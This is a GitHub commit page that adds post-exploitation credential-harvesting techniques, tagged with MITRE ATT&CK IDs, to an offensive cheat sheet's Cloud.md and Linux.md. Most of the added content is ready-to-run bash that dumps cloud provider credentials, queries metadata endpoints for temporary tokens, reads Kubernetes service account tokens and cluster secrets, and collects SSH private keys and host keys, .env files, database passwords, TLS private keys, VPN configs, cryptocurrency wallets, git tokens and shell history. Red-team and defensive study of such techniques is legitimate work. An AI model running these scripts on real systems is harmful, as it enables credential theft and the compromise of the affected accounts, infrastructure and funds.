Skip to content

Commit 7242bb5

Browse files
RoseSecurityRoseSecurity
authored
Merge pull request #11 from RoseSecurity/add-trivy-ttps
chore: add trivy ttps
2 parents ae28aab + 37e99c1 commit 7242bb5

2 files changed

Lines changed: 352 additions & 0 deletions

File tree

‎Cloud.md‎

Lines changed: 135 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -17,6 +17,11 @@
1717
- [Go Environment Variable Enumeration (T1082)](#go-environment-variable-enumeration-t1082)
1818
- [Jira (T1087)](#jira-t1087)
1919
- [Pentesting Kafka (T1046)](#pentesting-kafka-t1046)
20+
- [Post-Exploitation Cloud Credential Harvesting (T1552.001)](#post-exploitation-cloud-credential-harvesting-t1552001)
21+
- [IMDS and Container Credential Theft (T1552.005)](#imds-and-container-credential-theft-t1552005)
22+
- [Kubernetes Service Account Token Theft (T1552.007)](#kubernetes-service-account-token-theft-t1552007)
23+
- [Docker Registry Credential Harvesting (T1552.001)](#docker-registry-credential-harvesting-t1552001)
24+
- [CI/CD and IaC Secret Harvesting (T1552.001)](#cicd-and-iac-secret-harvesting-t1552001)
2025

2126
---
2227

@@ -709,3 +714,133 @@ Save messages for offline analysis;
709714
```sh
710715
kcat -b target.com:9092 -t AlertNotifications -C -J | jq . > messages.json
711716
```
717+
718+
## Post-Exploitation Cloud Credential Harvesting (T1552.001)
719+
720+
After gaining access to a host, cloud provider credentials are often stored in well-known file paths. The following enumerates credential files across AWS, GCP, and Azure for all users on the system:
721+
722+
```bash
723+
# AWS credentials and config
724+
for home in /home/* /root; do
725+
for f in "$home/.aws/credentials" "$home/.aws/config"; do
726+
[ -f "$f" ] && echo "=== $f ===" && cat "$f"
727+
done
728+
done
729+
730+
# AWS credential environment variables
731+
env | grep -E "^AWS_"
732+
733+
# GCP application default credentials and service account keys
734+
for home in /home/* /root; do
735+
find "$home/.config/gcloud" -type f 2>/dev/null | while read -r f; do
736+
echo "=== $f ===" && cat "$f"
737+
done
738+
done
739+
cat "$GOOGLE_APPLICATION_CREDENTIALS" 2>/dev/null
740+
env | grep -iE "(GOOGLE|GCLOUD)"
741+
742+
# Azure credential files
743+
for home in /home/* /root; do
744+
find "$home/.azure" -type f 2>/dev/null | while read -r f; do
745+
echo "=== $f ===" && cat "$f"
746+
done
747+
done
748+
env | grep -i AZURE
749+
```
750+
751+
## IMDS and Container Credential Theft (T1552.005)
752+
753+
Cloud instance metadata services (IMDS) and container credential endpoints expose temporary credentials. These are commonly targeted after gaining code execution inside a cloud workload:
754+
755+
```bash
756+
# AWS EC2 IMDS v1 - List available IAM roles then fetch temporary credentials
757+
ROLE=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
758+
curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE"
759+
760+
# AWS ECS container credentials (uses task role URI from environment)
761+
curl -s "http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}"
762+
763+
# GCP - Fetch access token from metadata server
764+
curl -s -H "Metadata-Flavor: Google" \
765+
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
766+
767+
# Azure IMDS - Fetch managed identity token
768+
curl -s -H "Metadata: true" \
769+
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
770+
```
771+
772+
## Kubernetes Service Account Token Theft (T1552.007)
773+
774+
Kubernetes pods are provisioned with service account tokens that can be used to authenticate to the API server. Common mount paths vary between container runtimes:
775+
776+
```bash
777+
# Standard service account token mount paths
778+
cat /var/run/secrets/kubernetes.io/serviceaccount/token
779+
cat /run/secrets/kubernetes.io/serviceaccount/token
780+
781+
# Service account CA certificate and namespace
782+
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
783+
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
784+
785+
# Kubeconfig files across user home directories
786+
for home in /home/* /root; do
787+
[ -f "$home/.kube/config" ] && echo "=== $home/.kube/config ===" && cat "$home/.kube/config"
788+
done
789+
790+
# Cluster admin and component configs
791+
for f in /etc/kubernetes/admin.conf \
792+
/etc/kubernetes/kubelet.conf \
793+
/etc/kubernetes/controller-manager.conf \
794+
/etc/kubernetes/scheduler.conf; do
795+
[ -f "$f" ] && echo "=== $f ===" && cat "$f"
796+
done
797+
798+
# Enumerate all mounted secrets
799+
find /var/secrets /run/secrets -type f 2>/dev/null | while read -r f; do
800+
echo "=== $f ===" && cat "$f" 2>/dev/null
801+
done
802+
803+
# Dump secrets via kubectl if accessible
804+
kubectl get secrets --all-namespaces -o json 2>/dev/null
805+
```
806+
807+
## Docker Registry Credential Harvesting (T1552.001)
808+
809+
Docker stores registry authentication tokens in config files that can be used to pull or push images to private registries:
810+
811+
```bash
812+
# User Docker configs
813+
for home in /home/* /root; do
814+
[ -f "$home/.docker/config.json" ] && echo "=== $home/.docker/config.json ===" && cat "$home/.docker/config.json"
815+
done
816+
817+
# Kaniko builder credentials (common in CI/CD pipelines)
818+
cat /kaniko/.docker/config.json 2>/dev/null
819+
```
820+
821+
## CI/CD and IaC Secret Harvesting (T1552.001)
822+
823+
Terraform state files, variable files, and CI/CD configuration files frequently contain plaintext credentials, API keys, and infrastructure secrets:
824+
825+
```bash
826+
# Terraform variable files (may contain cloud credentials, database passwords)
827+
find / -name "*.tfvars" -type f 2>/dev/null -exec sh -c 'echo "=== {} ===" && cat "{}"' \;
828+
829+
# Terraform state files (contain full resource attributes including secrets)
830+
find / -name "terraform.tfstate" -type f 2>/dev/null -exec sh -c 'echo "=== {} ===" && cat "{}"' \;
831+
832+
# CI/CD configuration files
833+
for f in .gitlab-ci.yml .travis.yml Jenkinsfile .drone.yml; do
834+
[ -f "$f" ] && echo "=== $f ===" && cat "$f"
835+
done
836+
837+
# Ansible configuration (may reference vault passwords)
838+
cat ansible.cfg 2>/dev/null
839+
840+
# Helm chart values (may contain secrets)
841+
for home in /home/* /root; do
842+
find "$home/.helm" -type f 2>/dev/null | while read -r f; do
843+
echo "=== $f ===" && cat "$f"
844+
done
845+
done
846+
```

‎Linux.md‎

Lines changed: 217 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -87,6 +87,14 @@
8787
- [Taking Apart URL Shorteners with cURL (T1082)](#taking-apart-url-shorteners-with-curl-t1082)
8888
- [Email Spoofing PHP (T1566)](#email-spoofing-php-t1566)
8989
- [Linux SIEM Bypass (T1006)](#linux-siem-bypass-t1006)
90+
- [SSH Key and Host Key Harvesting (T1552.004)](#ssh-key-and-host-key-harvesting-t1552004)
91+
- [Environment File Credential Harvesting (T1552.001)](#environment-file-credential-harvesting-t1552001)
92+
- [Database Credential File Harvesting (T1552.001)](#database-credential-file-harvesting-t1552001)
93+
- [TLS/SSL Private Key Harvesting (T1552.004)](#tlsssl-private-key-harvesting-t1552004)
94+
- [VPN Configuration Harvesting (T1552.001)](#vpn-configuration-harvesting-t1552001)
95+
- [Cryptocurrency Wallet Harvesting (T1005)](#cryptocurrency-wallet-harvesting-t1005)
96+
- [Webhook and API Key Discovery (T1552.001)](#webhook-and-api-key-discovery-t1552001)
97+
- [Application Credential File Harvesting (T1552.001)](#application-credential-file-harvesting-t1552001)
9098

9199
---
92100

@@ -1835,3 +1843,212 @@ sys:*:19436:0:99999:7:::
18351843
sync:*:19436:0:99999:7:::
18361844
games:*:19436:0:99999:7:::
18371845
```
1846+
1847+
## SSH Key and Host Key Harvesting (T1552.004)
1848+
1849+
Comprehensive SSH credential harvesting across all user home directories and system host keys:
1850+
1851+
```bash
1852+
# Harvest user SSH private keys, configs, and known hosts
1853+
for home in /home/* /root; do
1854+
for f in .ssh/id_rsa .ssh/id_ed25519 .ssh/id_ecdsa .ssh/id_dsa \
1855+
.ssh/authorized_keys .ssh/known_hosts .ssh/config; do
1856+
[ -f "$home/$f" ] && echo "=== $home/$f ===" && cat "$home/$f"
1857+
done
1858+
# Catch non-standard key filenames
1859+
find "$home/.ssh" -type f 2>/dev/null | while read -r f; do
1860+
echo "=== $f ===" && cat "$f"
1861+
done
1862+
done
1863+
1864+
# Harvest SSH host private keys (requires root)
1865+
find /etc/ssh -name "ssh_host*_key" -type f 2>/dev/null | while read -r f; do
1866+
echo "=== $f ===" && cat "$f"
1867+
done
1868+
```
1869+
1870+
## Environment File Credential Harvesting (T1552.001)
1871+
1872+
Environment files commonly contain API keys, database connection strings, and cloud credentials in plaintext. Searching the filesystem for `.env` variants:
1873+
1874+
```bash
1875+
# Check common relative paths from current working directory
1876+
for f in .env .env.local .env.production .env.development .env.staging .env.test; do
1877+
for d in . .. ../..; do
1878+
[ -f "$d/$f" ] && echo "=== $d/$f ===" && cat "$d/$f"
1879+
done
1880+
done
1881+
1882+
# Check system-wide environment files
1883+
cat /etc/environment 2>/dev/null
1884+
cat /app/.env 2>/dev/null
1885+
1886+
# Recursive search across common application directories
1887+
find /home /root /opt /srv /var/www /app /data /var/lib /tmp \
1888+
-maxdepth 6 -name ".env*" -type f 2>/dev/null | while read -r f; do
1889+
echo "=== $f ===" && cat "$f"
1890+
done
1891+
```
1892+
1893+
## Database Credential File Harvesting (T1552.001)
1894+
1895+
Database clients store credentials in dotfiles and system-wide configs:
1896+
1897+
```bash
1898+
# PostgreSQL password files
1899+
for home in /home/* /root; do
1900+
[ -f "$home/.pgpass" ] && echo "=== $home/.pgpass ===" && cat "$home/.pgpass"
1901+
done
1902+
cat /var/lib/postgresql/.pgpass 2>/dev/null
1903+
1904+
# MySQL/MariaDB credentials
1905+
for home in /home/* /root; do
1906+
[ -f "$home/.my.cnf" ] && echo "=== $home/.my.cnf ===" && cat "$home/.my.cnf"
1907+
done
1908+
cat /etc/mysql/my.cnf 2>/dev/null
1909+
1910+
# Redis configuration (may contain requirepass)
1911+
cat /etc/redis/redis.conf 2>/dev/null | grep -i "requirepass\|masterauth"
1912+
1913+
# MongoDB RC files
1914+
for home in /home/* /root; do
1915+
[ -f "$home/.mongorc.js" ] && echo "=== $home/.mongorc.js ===" && cat "$home/.mongorc.js"
1916+
done
1917+
1918+
# LDAP configuration (may contain bind credentials)
1919+
for f in /etc/ldap/ldap.conf /etc/openldap/ldap.conf /etc/ldap.conf \
1920+
/etc/ldap/slapd.conf /etc/openldap/slapd.conf; do
1921+
[ -f "$f" ] && echo "=== $f ===" && cat "$f"
1922+
done
1923+
1924+
# Database credential environment variables
1925+
env | grep -iE "(DATABASE|DB_|MYSQL|POSTGRES|MONGO|REDIS|VAULT)"
1926+
```
1927+
1928+
## TLS/SSL Private Key Harvesting (T1552.004)
1929+
1930+
TLS private keys enable man-in-the-middle attacks against encrypted traffic or impersonation of services:
1931+
1932+
```bash
1933+
# System SSL private keys
1934+
find /etc/ssl/private -name "*.key" -type f 2>/dev/null | while read -r f; do
1935+
echo "=== $f ===" && cat "$f"
1936+
done
1937+
1938+
# Let's Encrypt certificates and private keys
1939+
find /etc/letsencrypt -name "*.pem" -type f 2>/dev/null | while read -r f; do
1940+
echo "=== $f ===" && cat "$f"
1941+
done
1942+
1943+
# Broad search for key material across the filesystem
1944+
find /home /root /opt /srv /var/www /app /data /var/lib /tmp \
1945+
-maxdepth 5 -type f \( -name "*.pem" -o -name "*.key" -o -name "*.p12" -o -name "*.pfx" \) \
1946+
2>/dev/null | while read -r f; do
1947+
echo "=== $f ===" && cat "$f"
1948+
done
1949+
```
1950+
1951+
## VPN Configuration Harvesting (T1552.001)
1952+
1953+
VPN configurations contain pre-shared keys and endpoint information that enable network pivoting:
1954+
1955+
```bash
1956+
# WireGuard configurations (contain private keys and peer info)
1957+
find /etc/wireguard -name "*.conf" -type f 2>/dev/null | while read -r f; do
1958+
echo "=== $f ===" && cat "$f"
1959+
done
1960+
1961+
# Dump active WireGuard interface configurations
1962+
wg showconf all 2>/dev/null
1963+
```
1964+
1965+
## Cryptocurrency Wallet Harvesting (T1005)
1966+
1967+
Cryptocurrency node configurations contain RPC credentials and wallet files contain private keys:
1968+
1969+
```bash
1970+
# Bitcoin, Litecoin, Dogecoin, Zcash, Dash, Ripple, Monero configs
1971+
for home in /home/* /root; do
1972+
for coin in .bitcoin/bitcoin.conf .litecoin/litecoin.conf .dogecoin/dogecoin.conf \
1973+
.zcash/zcash.conf .dashcore/dash.conf .ripple/rippled.cfg \
1974+
.bitmonero/bitmonero.conf; do
1975+
[ -f "$home/$coin" ] && echo "=== $home/$coin ===" && cat "$home/$coin"
1976+
done
1977+
done
1978+
1979+
# Bitcoin wallet files
1980+
find /home /root -path "*/.bitcoin/wallet*.dat" -type f 2>/dev/null
1981+
1982+
# Ethereum keystore files (encrypted private keys)
1983+
find /home /root -path "*/.ethereum/keystore/*" -type f 2>/dev/null | while read -r f; do
1984+
echo "=== $f ===" && cat "$f"
1985+
done
1986+
1987+
# Cardano signing and verification keys
1988+
find /home /root -path "*/.cardano/*" \( -name "*.skey" -o -name "*.vkey" \) -type f 2>/dev/null
1989+
1990+
# Solana keypairs
1991+
for home in /home/* /root; do
1992+
find "$home/.config/solana" -type f 2>/dev/null | while read -r f; do
1993+
echo "=== $f ===" && cat "$f"
1994+
done
1995+
done
1996+
for d in /home/sol /home/solana /opt/solana /solana /app /data; do
1997+
[ -f "$d/validator-keypair.json" ] && echo "=== $d/validator-keypair.json ===" && cat "$d/validator-keypair.json"
1998+
done
1999+
2000+
# Search current directory for keypair and wallet JSON files
2001+
find . -maxdepth 8 -type f \( -name "id.json" -o -name "keypair.json" -o -name "*-keypair.json" \
2002+
-o \( -name "wallet*.json" \) \) 2>/dev/null
2003+
2004+
# RPC credentials in cryptocurrency configs
2005+
grep -r "rpcuser\|rpcpassword\|rpcauth" /root /home 2>/dev/null
2006+
```
2007+
2008+
## Webhook and API Key Discovery (T1552.001)
2009+
2010+
Searching the filesystem for hardcoded webhook URLs and API keys:
2011+
2012+
```bash
2013+
# Slack and Discord webhook URLs
2014+
grep -r "hooks.slack.com\|discord.com/api/webhooks" . 2>/dev/null | head -20
2015+
2016+
# API keys and tokens in configuration files
2017+
grep -rE "api[_-]?key|apikey|api[_-]?secret|access[_-]?token" . \
2018+
--include="*.env*" --include="*.json" --include="*.yml" --include="*.yaml" \
2019+
2>/dev/null | head -50
2020+
```
2021+
2022+
## Application Credential File Harvesting (T1552.001)
2023+
2024+
Various applications store credentials in dotfiles:
2025+
2026+
```bash
2027+
for home in /home/* /root; do
2028+
# Git credentials (plaintext username:password)
2029+
for f in .git-credentials .gitconfig; do
2030+
[ -f "$home/$f" ] && echo "=== $home/$f ===" && cat "$home/$f"
2031+
done
2032+
2033+
# Package manager and service tokens
2034+
for f in .npmrc .vault-token .netrc; do
2035+
[ -f "$home/$f" ] && echo "=== $home/$f ===" && cat "$home/$f"
2036+
done
2037+
2038+
# Mail and FTP client configs
2039+
for f in .lftp/rc .msmtprc; do
2040+
[ -f "$home/$f" ] && echo "=== $home/$f ===" && cat "$home/$f"
2041+
done
2042+
2043+
# Shell and application history files
2044+
for hist in .bash_history .zsh_history .sh_history \
2045+
.mysql_history .psql_history .rediscli_history; do
2046+
[ -f "$home/$hist" ] && echo "=== $home/$hist ===" && cat "$home/$hist"
2047+
done
2048+
done
2049+
2050+
# System-level mail and service configs
2051+
for f in /etc/postfix/sasl_passwd /etc/msmtprc; do
2052+
[ -f "$f" ] && echo "=== $f ===" && cat "$f"
2053+
done
2054+
```

0 commit comments

Comments
 (0)